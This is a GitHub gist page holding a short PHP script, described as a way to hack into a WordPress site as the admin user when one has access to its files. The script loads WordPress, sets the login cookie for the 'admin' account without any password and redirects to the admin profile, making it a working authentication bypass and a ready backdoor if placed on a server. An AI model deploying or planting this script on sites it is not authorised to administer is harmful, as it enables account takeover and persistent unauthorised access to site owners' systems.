Skip to content

Instantly share code, notes, and snippets.

@alexlevy0
Forked from Markcial/brute_login.php
Created July 22, 2020 13:33
Show Gist options
  • Save alexlevy0/3868f16a48efaa373b0163d1048154ad to your computer and use it in GitHub Desktop.
Save alexlevy0/3868f16a48efaa373b0163d1048154ad to your computer and use it in GitHub Desktop.
Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.
<?php
require('wp-blog-header.php');
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
wp_safe_redirect( admin_url( 'profile.php' ) );
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment